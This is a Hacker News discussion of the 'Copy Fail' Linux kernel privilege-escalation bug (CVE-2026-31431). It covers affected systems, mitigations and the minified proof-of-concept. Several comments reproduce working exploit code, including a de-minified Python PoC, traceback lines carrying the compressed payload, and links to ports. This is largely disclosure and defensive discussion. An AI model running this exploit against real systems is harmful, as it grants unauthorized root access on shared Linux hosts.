Top
Best
New

Posted by unsnap_biceps 12 hours ago

Copy Fail(copy.fail)
774 points | 308 commentspage 3
layer8 11 hours ago|
Debian page: https://security-tracker.debian.org/tracker/CVE-2026-31431
Sohcahtoa82 8 hours ago|
Oddly, the POC doesn't work on my Debian 12 (Bookworm) EC2 instance. Everything that should indicate it's vulnerable is there, including the ability to socket(38,5,0).bind("aead", "authencesn(hmac(sha256),cbc(aes))")
layer8 8 hours ago||
What kernel version is it? (`uname -r`)
rany_ 12 hours ago||
Could this be used to root Android devices? Does Android ship with algif_aead?
alufers 10 hours ago||
I rewrote it quickly to C [1] (and changed the embedded binary to be aarch64).

Unfortunately it fails on calling bind() on my device, so probalby Android doesn't ship with that kenrel module by default :(. So no freedom for my $40 phone.

Putting it out here, maybe somebody else will have better luck.

[1] https://gist.github.com/alufers/921cd6c4b606c5014d6cc61eefb0...

alufers 9 hours ago||
Update: Checking the kernel config indeed confirms this.

   adb shell zcat /proc/config.gz | grep CONFIG_CRYPTO_USER_API
   # CONFIG_CRYPTO_USER_API_HASH is not set
   # CONFIG_CRYPTO_USER_API_SKCIPHER is not set
   # CONFIG_CRYPTO_USER_API_RNG is not set
   # CONFIG_CRYPTO_USER_API_AEAD is not set
tripdout 11 hours ago|||
There’s SELinux, everything is mounted nosuid, barely anything runs as root except init. I doubt it.
angry_octet 7 hours ago||
You don't need a suit binary for this, they have arbitrary write of memory. The suid binary is just a convenient and portable way to demonstrate it. Real exploits will use many different mechanisms.
notpushkin 11 hours ago|||
I’ve poked around on my phone and it didn’t work:

    File "/data/data/com.termux/files/home/a.py", line 5, in c
      a=s.socket(38,5,0); # ...
    File "/data/data/com.termux/files/usr/lib/python3.13/socket.py", line 233, in __init__
      _socket.socket.__init__(self, family, type, proto, fileno)
      ~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  PermissionError: [Errno 13] Permission denied
int0x29 11 hours ago||
I got line 5 to run and failed on line 8 due to lack of su. I'd need to find a user accessible setuid binary for it to work.

Traceback (most recent call last): File "/data/data/com.termux/files/home/exploit.py", line 8, in <module> f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3")) ^^^^^^^^^^^^^^^^^^^^^^^ FileNotFoundError: [Errno 2] No such file or directory: '/usr/bin/su'

notpushkin 11 hours ago||
Try /system/bin/ping
int0x29 11 hours ago||
Now the socket is blocked. Also probably should have realized the socket is defined earlier than its called

Traceback (most recent call last): File "/data/data/com.termux/files/home/exploit.py", line 9, in <module> while i<len(e):c(f,i,e[i:i+4]);i+=4 ^^^^^^^^^^^^^^^ File "/data/data/com.termux/files/home/exploit.py", line 5, in c a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"4+c],[(h,3,i4),(h,2,b'\x10'+i19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o) ^^^^^^^^^^^^^^^^ File "/data/data/com.termux/files/usr/lib/python3.12/socket.py", line 233, in __init__ _socket.socket.__init__(self, family, type, proto, fileno) PermissionError: [Errno 13] Permission denied

fragmede 8 hours ago||
PoC is also x86_64 only and not arm.
tgies 5 hours ago||
[dead]
zb3 12 hours ago||
Android is smarter than setuid + system partitions aren't writable.
firer 11 hours ago|||
System partitions being non-writable has nothing to do with the vulnerability - it allows modifying the cache of any file that you can open for reading.

Not using setuid anywhere means you'd have to build a slightly more clever exploit, but it's still trivial - just modify some binary you know will run as root "soon".

But... I didn't check, but IIRC the untrusted_app secontext that apps run in is not allowed to open AF_ALG sockets - so you can't directly trigger the vulnerability as a malicious app. Although it might be possible in some roundabout way (requesting some more privileged crypto service to do so).

int0x29 11 hours ago|||
Edit: Ignore this I overlooked calling order. It is indeed blocked

~~My allegedly fully patched pixel 8 pro allowed an AF_ALG socket to open under termux without virtualization so I'm not sure the last but is true~~

zb3 10 hours ago|||
Ah, I blindly assumed such memory would be mapped readonly...
int0x29 11 hours ago|||
Its not writing to the partition though is it? It is polluting the cache page via a write with a buffer overrun in the kernel. I don't think buffer overruns follow permissions.
zb3 10 hours ago||
I assumed such memory would be mapped readonly (PROT_READ), without actually looking into it..
corvad 12 hours ago||
If this is verified, this is a very big deal. Root access on any shared computer. Additionally do we know what kernel versions and stable versions have the patch?
Tuna-Fish 11 hours ago||
I just tested on my home server running ubuntu 24.04 LTS with newest kernel from repositories, got root.
Avamander 11 hours ago||
Can Livepatch mitigate this or is it already? I don't know where to look this up.
Tuna-Fish 10 hours ago||
I used the mitigation from this CVE report to turn off AF_ALG.
ranger_danger 9 hours ago||
As far as mainline goes, only 7.0 and up have the patch already.
tgies 6 hours ago||
The Python dependency is easily eliminated, and the x86_64 payload made cross-platform: https://github.com/tgies/copy-fail-c
smlacy 11 hours ago||
The fetishism of "byte count" (here, as "732 byte python script") needs to stop, especially when in a context like this where they're trying to illustrate a real failure modality.

Looking at their source code [1] it starts with this simple line:

import os as g,zlib,socket as s

And already I'm perplexed. "os as g"? but we're not aliasing "zlib as z"? Clearly this is auto-generated by some kind of minimizer? Likely because zlib is called only once, and os multiple times. As a code author/reviewer, I would never write "os as g" and I would absolutely never approve review of any code that used this.

Anyway, I could go on. :) Let's just stop fetishizing byte count

[1] https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/m...

vitus 9 hours ago||
Hilariously, "os as g" adds one more byte than it saves, since os is only used 4 times but the alias takes 5 extra bytes to save 4. And "socket as s" comes out even.

If you wanted real savings, you'd use "d=bytes.fromhex" instead of defining a function -- 17 bytes!! And d('00') -> b'\0' for -2 bytes.

We could easily get the byte count down further by using base64.b85decode instead of bytes.fromhex (-70 or so), but ultimately we're optimizing a meaningless metric, as you mention.

tptacek 11 hours ago|||
I don't get the 732-byte thing either and while I think it's a relatively punchy and unusually informative landing page for named vulnerability there are little snags like this all over it.

But the fact that it's not a kernel-exec LPE and it's reliable across kernels and distributions is important; it's close to the maximum "exploitability" you're going to see with an LPE. Which the page does communicate effectively; it just gilds the lily.

tylerni7 10 hours ago||
yeah... definitely a bit of a rush to get the landing page out after a long time in the disclosure process. The folks putting this all together have been working like mad (finding the bug, disclosing, working a lot on patching, writing up POCs and verifying exploitability in different scenarios) and stayed up really late to finish up the landing page, which led to a lot of minor issues.

But the bug is real and people should patch :)

For the size: sometimes people will shove in kilobytes of offset tables or something into an exploit, so it'll fingerprint and then look up details to work. This is much smaller because it doesn't need any of that, which is important for severity. (I agree the "golf" nature is a bit of an aside, kind of like pwn2own exploits taking "10 seconds")

debo_ 11 hours ago|||
I don't see it as fetishizing byte count. I think of it as a proxy measure for how complicated or uncomplicated the exploit might be. They could just as well have said "we can do it in 3 lines of python" or "the Shannon entropy of the script implementing the exploit is really small" and I would have interpreted it similarly.

Where do you see this "fetishizing" happening most often? It's a strange thing to counter-fetishize about.

layer8 10 hours ago||
> I think of it as a proxy measure for how complicated or uncomplicated the exploit might be.

From a Busy Beaver, 256-bytes compo, or Dwitter perspective, 732 bytes isn’t really that meaningful.

And the sample exploit is even optimizing the byte size by using zlib compression, which doesn’t make much sense for the purpose. It just emphasizes the byte count fetishization.

debo_ 8 hours ago||
Again, I think the point is that compressed size is a reasonable measure of the inherent complexity of a program. I'm a crap mathematician, but I believe that is a fundamental concept in information theory.
layer8 8 hours ago||
But it isn’t compressed size, the compressed part is only 180 bytes of the 732.
debo_ 7 hours ago||
Ah, got it. Thank you.
xmcp123 7 hours ago|||
Glad I’m not alone. The whiplash from “oh, python I can read this” to “what the hell does that do” was jarring.

Assuming AI was correct, it unpacks more or less like this

import os, zlib, socket

AF_ALG = 38

SOCK_SEQPACKET = 5

SOL_ALG = 279

def hex_bytes(x):

    return bytes.fromhex(x)
def trigger(fd, offset, patch4):

    sock = socket.socket(AF_ALG, SOCK_SEQPACKET, 0)

    sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))

    sock.setsockopt(SOL_ALG, 1, hex_bytes("0800010000000010" + "0" * 64))

    sock.setsockopt(SOL_ALG, 5, None, 4)

    op, _ = sock.accept()

    length = offset + 4

    zero = b"\x00"

    op.sendmsg(

        [b"A" * 4 + patch4],

        [

            (SOL_ALG, 3, zero * 4),

            (SOL_ALG, 2, b"\x10" + zero * 19),

            (SOL_ALG, 4, b"\x08" + zero * 3),

        ],

        32768,

    )

    read_pipe, write_pipe = os.pipe()

    os.splice(fd, write_pipe, length, offset_src=0)

    os.splice(read_pipe, op.fileno(), length)

    try:

        op.recv(8 + offset)

    except:

        pass
target = os.open("/usr/bin/su", os.O_RDONLY)

payload = zlib.decompress(bytes.fromhex("..."))

offset = 0

while offset < len(payload):

    trigger(target, offset, payload[offset:offset + 4])

    offset += 4
os.system("su")
tensegrist 10 hours ago|||
llms love that though

"The honest solution: a clean 50-line cut" and so on, ad nauseam

embedding-shape 11 hours ago|||
> I would absolutely never approve review of any code that used this.

How often do you review, and subsequently block the release, of PoCs in this sort of context? Sounds like you've faced this a lot.

I always thought code quality mattered less in those, as long as you communicate the intent.

Xirdus 10 hours ago|||
If you have a choice between posting minimized exploit code, and posting regular exploit code, posting minimized code is virtually always the wrong choice.

If you have a choice between pointing out the byte size of the exploit, and not pointing out the byte size of the exploit, pointing it out is virtually always the wrong choice.

In both cases, doing the right thing is less work. So somebody is going the extra way to ensure they are doing it wrong. If they didn't care, they'd end up doing it right by default.

nvme0n1p1 10 hours ago||||
> as long as you communicate the intent

How does "import os as g" communicate the intent? How does hiding the payload behind zlib communicate the intent? This is the opposite: obfuscating the intent, so they can brag about 732 bytes instead of 846 bytes (or whatever it might have been).

It would have been less work for everyone involved to just release the unminified source.

opello 10 hours ago|||
While not formally reviewing code like this, I read a lot of it for fun. When it's clear and understandable, it's more educational and enjoyable. If the PoC code can also serve as a means of communication, that seems like an extra win.
infogulch 10 hours ago|||
While I agree that it doesn't make much sense to use a minimizer on code the reader could understand, the code-golfed byte count of a CVE repro communicates its complexity in a certain visceral way.
rts_cts 9 hours ago|||
I started to take the exploit script apart and reformat it to be something readable. At about 1041 bytes it's actually readable. The heart of it also includes an encoded zlib compressed blob that's 180 bytes long ('78daab77...'). This is decompressed (zlib.decompress(d(BLOB)) to a 160 byte ELF header.
refulgentis 11 hours ago|||
It's just lazy AI* writing w/0 editing.

"Just" is doing a lot of work there, I'm so annoyed reading it.

It's like an anti-ad and they had pretty cool material to work with.

* Claude loves stacatto "Some numeric figure. Something else. Intensifier" (ex. the "exploitable for a decade." or whatever sentences)

bonzini 10 hours ago|||
Completely without editing, to the point of hallucinating a RHEL version (14.3) that doesn't exist.
tjbecker 10 hours ago|||
I recommend reading the technical writeup https://xint.io/blog/copy-fail-linux-distributions
ok123456 11 hours ago|||
This is pretty legible compared to the 90s C rootshell.org exploits.
fragmede 10 hours ago|||
> Anyway, I could go on.

Then go on. zlib is only used once, so "zlib as z" in exchange for using z once doesn't get you anything. Using os directly and not renaming it g saves you 2 bytes though. But in this age where AI outputs reams of code at the drop of a hat, why shouldn't we enjoy how small you can get it to pop a root shell?

https://gist.github.com/fragmede/4fb38fb822359b8f5914127c2fe...

edit: If we drop offset_src=0 and just pass in 0 positionally, it comes down to 720.

Banditoz 10 hours ago||
>...why shouldn't we enjoy how small you can get it to pop a root shell?

Because I want to know what the exploit is doing and how it works, and if it's even safe to run.

A privesc PoC is NOT the place for this kind of fun.

akdev1l 10 hours ago||
Agreed lmao the PoC itself looks like you’re getting attacked

Which I guess is true but I would like to verify the attack is the intended one

john_strinlai 11 hours ago||
>As a code author/reviewer, I would never write "os as g" and I would absolutely never approve review of any code that used this.

lucky for them, its an exploit script, not enterprise code.

all that needs to be "reviewed" is whether or not it exploits the thing its supposed to.

edit: yall really think a 10-line proof of concept script needs to undergo a code review? wild. i shouldnt be surprised that the top comment on a cool LPE exploit is complaining about variable naming

StableAlkyne 10 hours ago|||
It's just sloppy. Readers are human, and little mistakes like this take away from the article. Then you add a nonexistent RHEL version, and it just isn't a good look. Which is a shame, because it's otherwise a very interesting vuln.

Maybe you didn't care, but the length of this comment chain clearly shows that it matters. Effective communication is just as important as the engineering.

john_strinlai 10 hours ago||
agreed regarding the RHEL version!

i just dont understand huffing and puffing over "os as g" in a 10-line poc script, and saying "well i would never approve this". its not enterprise code. its not code that will ever be used anywhere else, for anything. its sole purpose is to prove that the exploit is real, which it does!

the rest of the information is in the actual vulnerability report. the poc is a courtesy to the reportee, so that they can confirm that the report itself isnt bullshit.

evidently, given the downvotes i am getting, people think exploit scripts should be enterprise quality code. ¯\_(ツ)_/¯ half of the reports i see flowing through mailing lists dont even have a poc.

amazingly HN-like to be upset about a variable name

akdev1l 10 hours ago|||
Disagree because to run the PoC you really ought to understand what it’s doing.

And this code is not readable at all. It is failing at letting people confirm the exploit easily.

john_strinlai 10 hours ago||
>Disagree because to run the PoC you really ought to understand what it’s doing.

that is contained in the report, which will look similar to the blog. the maintainers will have an open line of contact with the reporters as well. the poc is a small part of the entire report. its not like the linux maintainers only received this poc and have to work out the vulnerability from it alone.

>It is failing at letting people confirm the exploit easily.

it confirms the exploit incredibly easy. just run it, and you get confirmation.

akdev1l 7 hours ago||
what the blog says and what the code does are two different things.

For all I know the blog itself is a honey pot. I need to know what the code does before I run it.

john_strinlai 6 hours ago|||
>I need to know what the code does before I run it.

its literally code meant to exploit your system. you should be running it in an environment built for that already.

you dont test exploit pocs on your daily driver.

asdfaoeu 7 hours ago|||
While your at it you can enter your credit card details to see if they've been leaked.
asdfaoeu 8 hours ago|||
I don't anyone is saying it's not "enterprise" it's just that they clearly went out of their way to make it less readable. By all means advertise the golf'd line count but just have the non minified script.
Xirdus 10 hours ago|||
I'd imagine that at minimum, the team in charge of patching the vulnerability would need to review how the exploit works.
john_strinlai 10 hours ago||
id imagine that they received more than just the poc in the report they received
Xirdus 10 hours ago||
That doesn't make reviewing the POC any less valuable.
john_strinlai 10 hours ago||
what value do you believe renaming the variable from "g" to something else provides the linux maintainers?
Xirdus 9 hours ago||
It makes the exploit code more readable. We all love to laugh at C folks but for real, even Linux kernel maintainers care about readability.
Lorin 12 hours ago||
What is the rationale behind naming CVEs and individual domains? Marketing?
diath 12 hours ago||
It's an advertisement for their tool that found the exploit: https://copy.fail/#contact, https://xint.io/products/xint-code
evanjrowley 12 hours ago|||
The AI generated prose screams marketing. Marketing is why there's a "Contact our Security Team" form at the bottom of the page.
tptacek 11 hours ago|||
It's certainly marketing, but it's prosocial: there's no scarcity of names, and "copy.fail" is much easier to remember and talk about than "CVE-2026-31431".
john_strinlai 12 hours ago|||
can you remember what CVE-2021-44228 is without looking it up? CVE-2014-6271? CVE-2017-5753?

i bet if i told you their names, you would instantly know what vulns those are.

its easier to talk about things with names. it hurts no one. it takes approximately no effort or time.

CVEs are, for whatever reason, like the only thing on the planet that people seem to have a problem with when they receive a name. i am not sure why.

QuantumNomad_ 11 hours ago|||
> CVEs are, for whatever reason, like the only thing on the planet that people seem to have a problem with when they receive a name. i am not sure why.

What, you guys talk about books based on their “title” instead of just memorising the ISBN of each book? Pssh, count me disappointed!

john_strinlai 11 hours ago||
after work i have to stop at Y87794H0US1R65VBXU25 for some groceries.
akerl_ 11 hours ago||
I only refer to my kids by their social security numbers until they do something suitably remarkable.

I guess it’s a good thing I’m not a SovCit or I’d just have to call them Traveller Three and Traveller Four

n3rdr4g3 1 hour ago|||
For anyone else that was curious they're log4j, shellshock, and spectre
skilled 12 hours ago|||
Probably to some extent it is marketing, but generally it has to do with significant bug finds to get the message out to the people who need to apply patches and/or be informed. Heartbleed, Log4Shell, etc.

Very few CVE’s get names dedicated to them like this, because usually when they do - it is very serious, as in this case.

eddythompson80 11 hours ago|||
Giving catchy names for bad exploits has been a thing for a while. Probably to make sure it's easy to reference and make sure you're patches as opposed to passing numbers around. Heartbleed, Shellshock, BEAST, Goto Fail, etc
dgellow 11 hours ago|||
Yes, originally it was to help spread awareness. Now it has become more of a gimmick I would say
ronsor 12 hours ago|||
It makes sure people don't forget about the vulnerabilities, at least
Fuzzbit 12 hours ago||
Same reason they name storms, numbers scare normies
q3k 8 hours ago||
Quickly dove into this.

1. Yes, it's real.

2. Current chain can write any arbitrary content to any user-readable file (into the page cache).

3. Current chain relies on an available target suid binary that you can open() as a lowpriv user.

4. Current exploit relies on that binary being /bin/su and then being able to execve(/bin/sh, 0, 0) (which doesn't work on alpine, etc.). The former is easily replaced in the code. The latter needs a rebuilt payload ELF (also easy).

5. The authors say they have other chains (including ones that allow container escapes). I believe them.

6. A mildly de-minified PoC for Alpine with a new payload ELF is at hackerspace[pl]/~q3k/alpine.py . You'll need /bin/ping from iputils. This should be now somewhat reliable on any distro that has a `/bin/sh` and any setuid-and-readable binary (you'll just need to find it on your own).

q3k 7 hours ago|
And yeah, you can just change arbitrary instructions of any running process (including privileged) as long as you have read access to that process' binary:

https://object.ceph-waw3.hswaw.net/mastodon-prod/media_attac...

nromiun 1 hour ago||
I tried this exploit on Android and it looks like you need root in the first place to create an AF_ALG socket. I guess it is an SELinux policy to disable AF_ALG entirely.
mikeweiss 6 hours ago||
Anyone have any idea when Bottlerocket will acknowledge CVE? Seems like a critical for kubernetes nodes......

https://github.com/bottlerocket-os/bottlerocket/security/adv...

WhyNotHugo 6 hours ago|
> Any setuid-root binary readable by the user works.

Interesting detail. On Alpine, `/usr/bin/su` is not readable by any user, so the PoC doesn't work.

I suspect that the underlying issue can be exploited in other ways, but it makes me think that there's no reason for any suid binary to be world-readable.

ranger_danger 1 hour ago|
Wouldn't executing it still put it in the page cache, just in a different place?
More comments...